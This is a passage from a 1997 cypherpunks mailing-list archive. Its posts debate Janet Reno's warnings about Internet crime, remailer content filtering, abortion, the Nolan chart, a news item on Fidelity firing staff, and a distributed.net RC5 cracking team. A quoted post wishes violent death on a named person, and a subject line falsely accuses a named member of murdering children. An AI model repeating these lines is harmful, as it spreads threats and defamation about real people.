me they're still available. (The U.S.S.S. is on >the top floor of my building and they give us a deal.) -----BEGIN CHEAP SHOT----- Hey, Declan, do they have any yellow stars? I understand we'll all be wearing them soon and I want to beat the rush. -----END CHEAP SHOT----- Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Christmas Ornaments To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 2A8B39D3BFB61BBAB6999F274F1DA05335AE68FD -288 288 DB07E1CDCDB019006EB0737D3427811580C89BE436410FC2A321E123C1FC01801337D3E3592FCDB419DF2C2E19A837A739DE7887C7A81E644679D24305FC437E15FE4C9C0801CA6986692DA929BABFFFF7FA11C3E0CE5EA04E40455D15CA4E0A51831A181ECEB836E8A2FC1464CB8D764EFE84278A549147E6B1443B93D336C0179652F08D7C1B25AA6E2B588C701298CEB9A4EBD7CB92B14B61605B96079C0FF7CCFCFE4D588EC000C92D935B102AB6CDDC891BBF55814293A5A2922980C976EAC63AA98862166F1891FC1FF724ADD749B3E36185884B9320E7FF38C494E7C2740D6DB7214D58B01A48A45A69990B19110B73047178674DE01C60BFBE715AF 70123098DF0B8CCBC3F647A066881D04F66E5D929126FD78A10F2C1F7F1B55EF0436F1DCC974A1978BD317FFA4A3FBBDA6DF40DA62E2F77412578758A5CB4038D237D3FD282601A6776A1B27BDB6AB043EF97F8FD7E84FA6C43DCCEF2DF2996497E743A4F7C3D523426660705DA04E44CE4679BF21B806DB34F9A371EEEA830535D977FB3404F6398F3E63A5379E8074FBE9BE5733F8DAD44ED1F6AF1BAC86C2FFAC5E8C07C3AF60C1F47A2BD317ACCB051F29790B89962FEF5FB16CA246745EC7F342C479BE536FD8F6570631B0D49C91103A0794146612BB64E9FCA28DAE34E80C36B796B808D10C4A8D3B86AD5EA3C02FFB19DE08965A1BAB65F8B0D9DC4C From jim.burnes at ssds.com Thu Dec 4 13:20:52 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Fri, 5 Dec 1997 05:20:52 +0800 Subject: Janet Reno warns of "lawlessness on the Internet" In-Reply-To: <3486FEB4.596C@dev.null> Message-ID: On Thu, 4 Dec 1997, TruthMonger wrote: > > Ask yourself this..."If the InterNet is such a highly important, > as well as highly vulnerable, infrastructure--of momentous value > to our military and economic well-being--then why on earth did > our government announce that it was of major importance for every > man, woman, and child, sane and insane, to have access to it?" > Monger: Simply because everyone (ok..lots) on the planet are already using it. They belabor the obvious in order to build a constituincy. Replace internet with the word "air" and you have the same effect. "We must protect everyone from the abuse of the air you breath. Evil, profiteering businessman will ruin it. Terrorists and pedophiles will want to breath it too -- so you must let us evil, murdering government types dole out who breaths the air and what it will smell like." Be afraid. Be very afraid. (abbreviated BABVA (tm)) these true facts have been brought to you by: FUDmonger the letter 'F' and the number '666' From nobody at REPLAY.COM Thu Dec 4 13:35:37 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 05:35:37 +0800 Subject: A Question for Reporters Message-ID: <199712042112.WAA13533@basement.replay.com> Monty Cantsin wrote very sloppily: >Declan McCullagh wrote: >>Automation, computers, the Internet have now made boundaries, in many >>instances, meaningless. As I have said on a number of occasions at... That should have read: >Declan McCullagh quoted Janet Reno as saying: >>Automation, computers, the Internet have now made boundaries, in many >>instances, meaningless. As I have said on a number of occasions at... Sorry about that, Chief! Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: A Question for Reporters To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE FDB5C7AA81AEFA2D6CDB5418C8247BA262CAE736 -28C 28C 4B713EEED1FD80DA32F1A8A0828872E4F1CBBA4232591B4A0EAD724C3FFAF4CEC55D573B07A97B8391E5191BFE61BE43C8AC14623B123F6F9F904374110C7147DA895C911510642F7EFB8000E6D9033A97A45F28E684607C6669F0699262103205C3F8B9CC705ADF1257215CECEDE03D215E0825F9513C63AF4AB261A06FB9C49539B88E07D3614D6A4D9D8B480BC25B4B237810772105856DF7DF06F6D12EA16EEBE6E38473B74BF108B826D97B21C8A9EE5CB0608429F731DBD601333DC7DA7C68B47A912A60EC1FD8287F09BFFF0839BA8C4E2AA342826DD2594FF3CDB2AE8B2EC0493D3388A0DBCEF5B947E1EE2AA248D5913379CA71CFE54E9F0D8AF0E1 BCDBA068715E3371A065A4411DCA6CAEE09E44F2FD007ECEA633C53930CC4F38C0AB19E141B4719F0D962BE9613C39994FF569BC2BD9660AB62E70321F70BD86C93053684B97A3980677A8F0582E24C221FE34EAEB6AF75C2BEF72BAA72F07C038D9BB77CC2DEFBBEC2BEDB036A0CAC3004B9EC822ACF03BBEFEAE6B28A101216685D2141B2AC161F52D457FC275F7CD2E7492617032E91B808EFE953F2907271666C84C129181642F9DC4E7ABC7071729808783CD83694839F27B50747C59CCFBE66E32C45961A911A6ABB478F4056E3E62AB52113682AB850A0E12458198FD09241EB164B93ADA60CDEDC14BECF068CA5891E52361AC9143D9406B3888353 From pooh at efga.org Thu Dec 4 13:41:52 1997 From: pooh at efga.org (Robert A. Costner) Date: Fri, 5 Dec 1997 05:41:52 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / In-Reply-To: <3.0.5.32.19971203091239.007e4410@206.40.207.40> Message-ID: <3.0.3.32.19971204161846.0391b08c@mail.atl.bellsouth.net> At 12:07 PM 12/4/97 EST, Dr.Dimitri Vulis KOTM wrote: >I might have a good cause of action against Chris Lewis, but the asshole is >in Canada. (I found out the forger's home address. I hope someone blows his >fucking brains out, for he surely deserves to die.) In what court would I >sue him (for interfering with my contractual relations with PSI)? Just so you can quit whining... This topic was recently covered in a Spam seminar that was sponsored by EFGA. Based on the case of Jones vs. National Inquirer, you claim to have an action perpetrated against an individual (you) in your home state. You file in either federal or state court of your state. If, as in the recent Texas case brought by Flowers.com and TISPA against a spammer, the defendant does not show, there is a high likelihood that you will be awarded damages. There is a company in North Carolina that will collect the judgement out of Canada for you. In most matters where I have been involved with Chris Lewis, I have tended to side with Chris. Your question was such a simplistic one, that I though it deserved an answer. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From nobody at REPLAY.COM Thu Dec 4 13:46:37 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 05:46:37 +0800 Subject: A Question for Reporters Message-ID: <199712042128.WAA15498@basement.replay.com> Declan McCullagh wrote: >Automation, computers, the Internet have now made boundaries, in many >instances, meaningless. As I have said on a number of occasions at >this table, a man can sit at a computer in Europe and steal from a >bank in the United States. Someone in Germany can get a list of >credit card numbers here and try to extort people for money on the >threat of using these credit cards. > >I think it is imperative that we develop practices, procedures, and >laws that will enable these countries - and indeed other countries >throughout the world - to work together to focus on criminals who are >exploiting the new technologies that so many of us are relying >on. The solution is working together as nations. At the same time Janet Reno makes these proposals, the U.S. government, and this administration particularly, has done everything in its power to undermine the development and deployment of security enhancing technologies. Not only has the use of cryptography been greatly hampered, but TEMPEST equipment and knowledge is controlled, and there have even been proposals to control secure operating systems. Reno's statements and the administration's policies blatantly contradict each other. The very technologies which would solve the problem Reno raises are being discouraged at every opportunity by the administration she represents. My question is directed at Declan because he is handy, but any other reporters are invited to contribute. Why is this not reported accurately? Do you plan to write a story which explains to the American people how the administration is not telling the truth? If not, why not? Surely it is important for the American people to understand what their leaders say and do. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: A Question for Reporters To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 1E33BDD354D10E0A4E1C86F1DE31FEA5B94D15BF -795 795 1D8B8977A2BF818F7F59C0058DE7D6E2F7DDB14466F6604FF85563DE1DC7F281D125220E293678B385DB77F96501C3D41B8BDDA30CA2564FA9B3D2C7E9855BDEF7DB15567DEE851362E7DC245F11EA0A71F2332AD9550675F64094CD398B067961CB7A9A6D6A0D8FE81D9E83F67B68BD3DC29C9DF006132904532D5292D3EC768CD161FE8778913D51536C5B14BDA1E1E64941D0EF1F973FBFDE173DAAD479CD311A12DDC6D8D29D4C3DD5B45B921A303934CAA7E23362135D7332E64E2F69288906FE54A8E7BA5ADB269C5A7DCC7AC305B0AF808D54FF7B7D6ECC6EFE89BBF2970946C884B8D1E39F50220D2B331632AD3616679440DBA05F2EBBB8E20BB398 92D9A28F56CC977F4C5EDE14850382AFAE8BE6220584CF55044AE4E1B7704FCA1572B7ABDB5B0E2B2714FC739BF92219C004099E4E0EB8CD708B2CF47F5B4F519A0F2250785ECBCDD82DC67B822C0958063038AB552FA13347F9CC4F136CF44534BBDDAEC58DA0272A10C951537029B560A916AD0FA2646242773E8236D79326E56847F064E846E620948F57E9B0E4DD2222F6C1DB278A700754E5A67E5875C042C7AA65083AC9EF6A09265273BF7B9A2EE7FFE3EFED3D2CA3823525D73C244544885B4C1864F9286E9BEAA2D602032743B79A308AC25B665A965B63E68CF929858E7DFB899AADF8B0E81A7CD29B921194301C5CDA204EFCC6326522B0752CAB From declan at well.com Thu Dec 4 13:48:09 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 5 Dec 1997 05:48:09 +0800 Subject: Christmas Ornaments In-Reply-To: <199712042039.VAA10062@basement.replay.com> Message-ID: I should have ordered them last month with everyone else in the bureau; the order's been placed and the ornaments have been delivered already. *sigh* I might go up to the 10th floor myself and see if they have any left... -Declan At 21:39 +0100 12/4/97, Anonymous wrote: >Declan McCullagh wrote: >>BTW, I'm going to check on the Secret Service Christmas tree >>ornaments and how much they cost. I'll post later on today if our >>office manager tells me they're still available. (The U.S.S.S. is on >>the top floor of my building and they give us a deal.) > >-----BEGIN CHEAP SHOT----- > >Hey, Declan, do they have any yellow stars? I understand we'll all be >wearing them soon and I want to beat the rush. > From whgiii at invweb.net Thu Dec 4 13:54:04 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Fri, 5 Dec 1997 05:54:04 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3.0.5.32.19971204105615.00853870@206.40.207.40> Message-ID: <199712042134.QAA01917@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3.0.5.32.19971204105615.00853870 at 206.40.207.40>, on 12/04/97 at 01:56 PM, David Honig said: >At 07:53 AM 12/4/97 -0600, William H. Geiger III wrote: >>Who knows maybe the pro-choice crowd *does* approve of a doctor taking a >>big pair of pliers, crushing the skull then ripping the arms and legs off >>a 6mo old then pulling out the shop vac to clean up the mess? >Yes, if that's what the pros think is the appropriate method when a >person decides to off their fetus. >The sun supplies 1 Kwtt/m^2, peak. How many people can you feed on that >before >you get a war/famine/plague? Perhaps you prefer adult war to >infanticide. A matter of taste. >Cultures that really have to deal with this, unlike your own (for now), >generally choose infanticide. Only because the infants don't fight back. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIchv49Co1n+aLhhAQK/bAP9H+yxEXyuT359eW7rbHiJ0t/OZRc69HtC YUoxhDkjC3a8glWNHYicNkxkwF9HDmio9bPSt8NJ6BCxYP4IUadh+eqmZ9z1tKh5 a/qA1XEUBBvcKUGtsxLoZ6ngPNAv3GqYGJ9WjNYNnl0ZUX7YERCon6QiX8xU7L7A ZpTbZ/55HPU= =nwsh -----END PGP SIGNATURE----- From lizard at dnai.com Thu Dec 4 14:04:19 1997 From: lizard at dnai.com (Lizard) Date: Fri, 5 Dec 1997 06:04:19 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <1.5.4.32.19971204114530.006ef8dc@idt.net> Message-ID: <3.0.3.32.19971204132216.03486294@dnai.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 06:38 AM 12/4/97 -0600, William H. Geiger III wrote: >An intriguing selection of NewSpeak being used here. The forcible ending >of another humans life is wrong (add in the standard caveats for >self-defence). A fetus is not a human being. End of logic chain. Proof:The defining characteristic of humanity is our recursive self- awareness -- our ability to think and know we think. Consciousness, in other words. Consciousness exists as an emergent property of our immensely complex neural network. No neural network, no consciousness. No consciousness, no humanity. A single cell is not conscious. It cannot be. It has no senses to receive information, no mind to process the information received. It cannot be considered human. A newborn baby *is* conscious. Brainwaves from all parts of the brain register. It is human. Therefore:At some point between conception and birth, the developing fetus crosses a line fron non-human (and thus, removable without any ethical worries whatsoever) to human (and thus, only removable under the normal conditions when it is proper to kill, such as a threat to the life of the host). This line can be defined by the beginning of detectable brain waves from the higher parts of the brain, which usually occur around the sixth month or so. At this point, consciousness -- and thus humanity -- has begun. It is only at this point that the fetus has become a rights-possessing organism. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIcfBzKf8mIpTvjWEQIJvACeLfUKA21OH8qygFlZ3YWYDVgChHMAn29F FrapAwfMo2Gz/FUM9qOsZQuY =Pifn -----END PGP SIGNATURE----- From honig at otc.net Thu Dec 4 14:29:05 1997 From: honig at otc.net (David Honig) Date: Fri, 5 Dec 1997 06:29:05 +0800 Subject: Janet Reno warns of "lawlessness on the Internet" In-Reply-To: Message-ID: <3.0.5.32.19971204133542.00857d30@206.40.207.40> At 01:04 PM 12/4/97 -0600, TruthMonger wrote: > Isn't there a Chinese curse which says, "May you live in interesting >times."? > >TruthMonger > Yeah, its a corollary of Moore's law :-) ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From comsec at nym.alias.net Thu Dec 4 14:41:49 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Fri, 5 Dec 1997 06:41:49 +0800 Subject: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From: Message-ID: <19971204222006.7793.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- stewarts at ix.netcom.com (Bill Stewart) wrote: > At 02:20 PM 12/03/1997 -0000, Charlie Comsec wrote: > >You start to tread on dangerous ground when you concern yourself with the > >content (body) of a post. If, for example, you start to filter on content, > >then you're implicitly approving anything that you do allow to pass through. > >That sets a precedent that's hard to contain and exercising editorial control > >over the contents increases the remailer operator's legal liability for > >material posted. > > If some victim of forged hatemail to Usenet requests that your remailer > block all email containing her name and address, is that legitimate? If the name or address is being forged in the "From:" line, then it sounds legitimate to source block that upon request. AFAIK, that feature is already available and I'm not aware of any objections. In fact, there's no reason not to allow such blocking to be done pre-emptively, before any forgery can occur. > Or if somebody's forging death threats with her name at the bottom? > I think yes, assuming the forgee is not a sufficiently public figure like > Hillary Clinton or Janet Reno that would lead to obvious disbelief. How does that prevent "designer abuse" where a person who wants to censor posts which merely mention him creates such a "forged" post himself (anonymously) just to get his name and/or address on a block list? Unless you have some sort of "smart filter" that can distinguish the abusive use of a person's name and/or address from a legitimate use (such as anonymously replying to that person's post), then the simple-minded implementation would be to just grep the body for instances of such names and addresses, rejecting any with matches, and that would be overkill. Remailer users should not be placed under undue restrictions when users of other ISPs are not. > (If Gary Burnore makes the same request, you've got a tradeoff between doing > the safe thing, and blocking, or doing what he deserves and also reposting > copies run through some jive filter. :-) How is that the "safe" thing? Doesn't exercising editorial control over the contents of Usenet posts expose the operator to more legal liability? Besides, Gary now seems to be claiming that he's only concerned about forged headers, not the content of posts. (That's different than what he told Jeff Burchell.) The problem is that doing on-request content filtering for one person sets a precedent whereby other people can request that other things be filtered as well. It would seem to be far easier to just say that you're not set up to do any filtering of posts. If by "jive filter" you mean some sort auto-munging script, I'd recommend caution with that. It can wreak havoc with PGP-signed messages. In general, I'd say that ALTERING the BODY of a post is a worse scenario than forgery. Let me give you an example of something Gary Burnore apparently did back when he was attacking Huge Cajones. He claimed that he was being "spam baited" by the use of "mailto:" tags in the BODY of Usenet posts, and persuaded Jeff Burchell to block such posts. Then Gary cleverly inserted such tags into his own posts so that any anonymous replies to his posts that happened to QUOTE those tags would get blocked! It worked until Jeff apparently caught on to what Gary was up to and turned off his custom filters -- sadly, just a week before he shut down the remailer altogether after he'd had too much of this nonsense. > I agree that blocking postings based on content that isn't specifically > targeting someone who's requested in advance is probably not a good idea. I would argue that it's not a good idea at all. And remailers that do engage in it should own up to that fact so that remailer users can choose accordingly. There's already too much FUD being spread on the NGs about remailers censoring/blocking posts without giving those claims some credibility. At a minimum, remailers that engage in content-based filtering should be so identified with the "filter" flag on Raph's remailer list, should disclose that fact in the remailer help file, and a current list of forbidden words and phrases should be available so that users can avoid using them. If blocking is a "Good Thing ", then remailer operators should be proud to inform people of this service they're providing. If, OTOH, they want to hide the fact, then maybe that should be a clue that they shouldn't be doing it at all. BTW, I'm not aware of any remailer that ADMITS to doing content-based filtering, although there a lot of suspicions flying around, and I'm sure the user community is aware of 30 out of every 10 such instances already. - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIbKdwbp0h8ZvosNAQEAMQf+PcuNWbGpS0VZmw4pkK25a8ehKiNWfZi6 z79MRVaq0fYWHQRDyAPWwxGrLAXjMeLzOhRDjJH6QiZneyfZv6OxV0hDKqMF2vI9 qCvoPa//tcsMDkpQrz1Vqx0Drs5GBlPGkf93ehaXFad4CaxQyPuONBk40FYFqVYZ Ah4v1n31e4rlaqWyP0OXdBPt536uCfpubJA4h3uLMCAbDawJ5Mj+WjNILL3rqvv5 ahNTpiXBRb6iNcOWVKHXRKOAC5nI93oDvevS5XvSgsZOTYlaeBE8NA8+Pz0UYcwJ 6lGJNthQRVZ1Inn6vrZMCtpnEC+Y28MvNgrBKZHq/W9+SbFgoYEobA== =X2vb -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Thu Dec 4 15:13:36 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Fri, 5 Dec 1997 07:13:36 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: <3.0.3.32.19971204140118.007527dc@popd.ix.netcom.com> At 07:03 PM 12/03/1997 -0800, Brian W. Buchanan wrote: >Should be relatively trivial to break the encryption, since it can't be >over 40-bit (or 56-bit if the company joined the kiss-ass alliance). Ahem. Notice the dateline on the article. Calgary. Not a problem, eh? Plenty of Canadian content in that one, so they could even show it on TV if they wanted to. >Probably just as easy or easier to disassemble the software or do some >creative tweaking of Windows DLLs to intercept data. Sounds likely - they're not only planning to run it on machines without vaguely secure hardware, they're planning to run it on machines without operating systems - they'll probably use Win95. With NT, you'd at least need to look for bugs or design flaws or other ways to lie to the operating system, since there _is_ one :-) 95 may not be as fragile as Win3.1, but it's still no protection. On the other hand, if they can inhibit mass piracy, they're ahead of the game, probably far enough to rack up some sales. And even if their solution is a total technical crock, it's a crock a bunch of people are trying to develop, and it can be used as an argument to lawmakers that they don't need to introduce draconian new legislation to "solve" the copyright problems because we're doing it technically - though of course lawmakers have figured out that this gives them the choice between being visibly obsolete or writing clueless legislation to regulate the new technology as well as the old.... Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From holovacs at idt.net Thu Dec 4 15:13:54 1997 From: holovacs at idt.net (jay holovacs) Date: Fri, 5 Dec 1997 07:13:54 +0800 Subject: Compelled speech was: CDT and the Threat of Gov't Intervention Message-ID: <199712042255.RAA27110@u1.farm.idt.net> ========================== >From: Tim May >To: David Honig ; Declan McCullagh >Cc: "Michael Sims" ; fight-censorship at vorlon.mit.edu;cypherpunks at toad.com >Subject: Re: CDT and the Threat of Gov't Intervention >Date: Wed, Dec 3, 1997 2:56 PM >And even if truth can be determined, truth is not a requirement for free >speech. (Truth in courtrooms and in contract situations are of course >different situations than ordinary free speech, in speaking, writing, >publishing, and broadcasting.) > >(Yes, I am opposed to FDA and SEC rules on truthful speech, unless >contracts are involved. If Joe wants to advertise his Magic Elixir, let >him. Reputations and ratings services (truly free ones, that is) are the >key to bad speech.) This sounds superficially equivalent, but FDA labelling requirements are quite different from web labelling. Firstly, unlike religion and politics, which are by nature subjective, effectiveness and safety of a drug can be reasonably determined by objective double blind testing. The room for error can come mainly from invalid protocols or fraud, both of which can be investigated by outside parties. Secondly, looking at a mislabelled web site cannot harm you. Taking a worthless drug can cost your health or your life. Unlike many consumer products, where the market can be allowed to rise or fall on reputation, it is not possible to determine the effectiveness or side effects of drugs from reputation. Only rigorous cohort selection and peer reviewed statistical analysis will suffice. Additionally requiring verifiably truthful statements on drugs really does qualify as a "narrowly tailored" action. OTOH I don't see any reason to prohibit people from taking "unapproved" drugs if they do so with full knowledge. Jay From ichudov at Algebra.COM Thu Dec 4 15:14:10 1997 From: ichudov at Algebra.COM (Igor Chudov @ home) Date: Fri, 5 Dec 1997 07:14:10 +0800 Subject: Fidelity Fires Nine Employees For Violating Company Policy Message-ID: <199712042308.RAA02118@manifold.algebra.com> Fidelity Fires Nine Employees For Violating Company Policy By JAMES S. HIRSCH Staff Reporter of THE WALL STREET JOURNAL Fidelity Investments has fired nine employees and disciplined 16 others for violating various company policies, including participating in on-site betting pools for football and basketball games. Fidelity, the nation's largest mutual-fund firm, said the employees also misused company e-mail and spent "excessive" amounts of time using the Internet for nonwork activities. The discoveries by Fidelity sent alarms through the Boston company, which has about $600 billion in assets under management and has relied on a reputation for integrity to attract and retain customers. On Tuesday, David Weinstein, Fidelity's senior vice president of administration, sent electronic memos to all employees that said the company wouldn't condone the use of company e-mail for sports pools, and reiterated many company policies, including prohibition of employees from gambling on company time. "I trust a word to the wise is sufficient," Mr. Weinstein wrote. Fidelity spokeswoman Anne Crowley said the company took action three weeks ago, and the employees who were either fired or disciplined didn't include any mutual-fund managers. She declined to identify the employee positions or their business units, but said the affected employees worked in more than one city. She said that no customer accounts or funds were involved. Fidelity has 24,300 employees. Like many companies, Fidelity regularly monitors employees' use of e-mail and Internet and Intranet services, and Fidelity notifies employees that they will be monitored. Ms. Crowley declined to describe how Fidelity learned about the sports betting pools or to specify how much money was involved. Employees also bet on baseball and golf games, she said, and the betting pools occurred over a number of months. "Small bets were typically found," Ms. Crowley said. She also declined to comment on what nonwork activities the employees were engaged in. But several insiders said the infractions had to have been very serious to merit dismissals instead of warnings. Ms. Crowley said the 16 employees who were disciplined didn't have to pay any fines, but said "corrective actions" could involve verbal or written warnings, suspensions or probations. --Karen Hube contributed to this article. From hallam at ai.mit.edu Thu Dec 4 15:37:36 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Fri, 5 Dec 1997 07:37:36 +0800 Subject: Censorial leftists (Was: Interesting article) Message-ID: <01bd010b$9ad28d80$06060606@russell> >And her partner, Andrea Dworkin, belies the oft-quoted notion that someone >so far to the left comes out a libertarian rightist. No, this chick Dworkin >is so far left she's just plain _left_. So being right wing means being libertarian? I don't think so, the most right wing person I know is one M. Thatcher D Litt (failed). She is also one of the most authoritarian. I've always wondered whether she thought 'the road to serfdom' was a guide to managment of serfs. All the young libertarian types running round Smith square in sharp suits looking like Declan got purged one night. Dworkin and MacKinnon were dredged up by the right to front an authoritarian agenda being pushed by Bush in the guise of the Meese commission. MacKinnon would never debate feminists like Nadine Strossen because this gave the lie to her claim that she represented the whole of the feminist movement which in turn supported her. If we turn to an analysis of agenda denial we can see that MacKinnon was persuing such an agenda within the feminist community, refusing to engage in debate. The right was meanwhile using her as a tool to promote their own agenda of social control allowing them to present it in the context of 'protecting women' which was a recognized agenda rather than 'reactionary bigottry' which wasn't. Phill From hedges at rigel.cyberpass.net Thu Dec 4 15:38:49 1997 From: hedges at rigel.cyberpass.net (Mark Hedges) Date: Fri, 5 Dec 1997 07:38:49 +0800 Subject: Scientology war update Message-ID: <199712042328.PAA06816@rigel.cyberpass.net> An excellent, amazing movie called Schizopolis pokes fun at Scientology in ways L-RON never dreamed. It's perfect. Try to find it and watch. Mark Hedges JonWienk at ix.netcom.com wrote on Sat, 22 Nov 1997 08:12:14 -0800: >At 12:50 AM 11/22/97 -0600, Eric Cordian wrote: >>There was a hilarious parody of Scientology on tonight's episode >>of "Millenium." A Cult named "Selfosophy," created by a really bad >>writer named Onan Goopta, with a propensity to sue everyone, was >>featured. It had a large celebrity membership, and helped people >>overcome negative thoughts with a device called an "Onan-o-Graph." > >Onan is commonly (albeit incorrectly) credited with the invention of >masturbation. (See Genesis 38:6-10 in the Bible) I wonder what sort of >thoughts the Onan-o-graph induces? [snicker, snicker] From dave at bureau42.ml.org Thu Dec 4 16:22:10 1997 From: dave at bureau42.ml.org (David E. Smith) Date: Fri, 5 Dec 1997 08:22:10 +0800 Subject: Cycling For Freedom! Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The Bureau 42 Remailer (remailer at bureau42.ml.org) is proud to announce "Cycling for Freedom." Basically, this is a chance to help crack RC5/64 and support the remailer system, and all the good it stands for. Get the RC5/64 client from www.distributed.net, and follow the easy instructions to configure it for your favorite computer. Crack a few blocks, send 'em back to the server so that your personal address shows up in the stats. On the stats page, you can ask the rc5 server to send you a password that will allow you to join a team. Get that, and then ask to join the team "rc5 at bureau42.ml.org" (it's listed as team number 1626). In the event this team finds the winning key, the money will be used for upgrades and maintenance on the computer housing the bureau42 remailer. (Specifically, a faster processor would be nice. After that, the rest of the money will be put away and used to buy/maintain a dedicated connection for that computer.) Thanks in advance for helping to support the remailer, and (more importantly) helping crack RC5/64. dave (bureau42 remailer administrator) - -- Today's pseudorandom quote: "My country is the world, and my religion is to do good" -- Thomas Paine David E. Smith, P O Box 324, Cape Girardeau MO USA 63702 Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-) -----BEGIN PGP SIGNATURE----- Version: PGP 5.0 Charset: noconv iQA/AwUBNIdE2a6m0j5YvamrEQLJHACg1LiCRZwFxPRDG0VPjOa08bVvOeoAoIla UVfwEiiTgsmPgNAco3KRGKp7 =2dpS -----END PGP SIGNATURE----- From jim.burnes at ssds.com Thu Dec 4 16:46:37 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Fri, 5 Dec 1997 08:46:37 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <19971204150228.29343@gwyn.tux.org> Message-ID: On Thu, 4 Dec 1997, J. Lasser wrote: > In the wise words of William H. Geiger III: > > > As I stated in my previous post the Nolan chart is flawed. In it's > > attempts to be "two-dimensional" it artificially separates interdependent > > philosophies. Economic Freedom = Personal Freedom. You can not have one > > without the other. The major failings of the socialist is their > > unwillingness to accept this fact. A free society can not survive under a > > socialist regime any more that a totalitarian society can survive under a > > capitalist one. > > I think the Nolan chart is flawed because the questions are all worded > in a leading manner, personally. > ok..whatever. the argument was not that the nolan chart is the ultimate basis for political discourse, but that its at least a magnitude of order better than the one dimensional left-right number line. there is also a certain nice symmetry to it. Left, right, authoritarian, libertarian are mapped out quite nicely in that space.. the point is that it *has* space. if you dont like the nolan chart create your own multidimensional chart. anything is better than what the media uses now. > And Singapore survives quite well being a totalitarian capitalist > society. Sure, you can pick nits and claim that Singapore's not entirely > capitalist, but it's more capitalist than this country and certainly > less free, too. > hmmm.. no one says that singapore doesn't work anyomore than that they say that a team of horses under a whip doesn't work. the difference is that in singapore the policeman is inside. > The fact of the matter seems to me to be that most people are perfectly > satisfied to be passive consumers. While they like to be free, that > means free to make purchasing decisions. there is a fundamental flaw your case. economic freedom is really the same as social freedom. the major flaw in the nolan chart is that it can only ask questions based on political sensibilities as a function of the predominant (and flawed IMHO) paradigms of fascism and socialism. but then the function of the nolan chart is to find out where people are in those paradigms and why they might want to be somewhere else (libertarianism specifically). In either case, the act of buying and selling things is the ultimate expression of free association/assembly. I voluntarily associate with the guy who makes my pizza, builds my car, mows my law etc. The control of that freedom is probably a direct violation of the first amendment, but I have yet to write an actual proof of my case yet. It sure beats the hell out of barter. It sure beats the hell out of theft to attain property. Not that this doesn't go on. Everything else flows from this. I might mention, since this is the cypherpunk list, that crypto is *exactly* what big brother is afraid of because we might realize what *kind* of slaves we are and what kind of masters they are. Incidentally it might actually free us from this prison some day. The first step to escaping from your jail cell is understanding that you live in a jail cell and what kind of cell that is. Most new citizens units have a room reserved from birth. (slave: birth to grave) Freedom to make purchasing decisions is *the* major component of freedom in any advanced society. It is the medium by which we interact with society at large. Red Hat software doesn't know who the hell I am and they probably can't afford to care that much. What they do know is that if they configure a really decent version of Linux that I will give them $50. It allows me to do my thing and it puts food on their table. Economic freedom is what makes it possible for society to evolve into to something better. Lack of it eventually dooms the inhabitants to decide whether to become a hammer or an anvil -- a host or a parasite. If you don't think that the population is prevented from making purchasing decisions then you better get the sleep out of your eyes and take a good, hard look. They also like to be safe, and > if they have to lose civil liberties to be safe, then they're all for > it. Just so long as they can buy what they want. and thats a big "if". you forget the one of the major assets of any citizens life is the number of hours until their death. it seems to be the opinion of the nation state that those hours are at the disposal of the state. when you "work" you are exchanging the most valuable asset you own for ledger sheet credits. how much does an hour of your life cost? what do you sell it for? how much does it cost to buy it back? those are the purchasing decisions that determine true freedom. big brother steals hours of your life and no amount of "voting" will stop it. That seems to me to > describe the essence of the Singapore problem, and I'd bet it holds true > for the U.S. (and many other places) as well. so your saying that 